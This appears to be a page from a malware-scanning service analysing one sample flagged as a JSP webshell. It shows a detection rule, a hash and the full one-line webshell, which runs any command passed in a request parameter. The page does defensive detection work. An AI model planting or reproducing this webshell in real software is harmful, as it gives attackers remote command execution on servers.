Hostile 92% Download

ISO-8859 10

JSP webshell executes commands

Generic JSP webshell tinyLooks for a common design pattern in webshells where a request attribute is passed as an argument to exec().
SHA-256bb714756e18bcbbb7e99e7bb03d7864cfe1ddad1dd66a635fd8688ff38c1e7b1
MaleculeO(C)H₂(CmPo)Md(Pt)Th₂

Evidence

Java servlet request parameter access line 1
1<%@ page contentType="charset=ISO-8859-10" %><%Runtime.getRuntime().exec(request.getParameter("i"));%>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.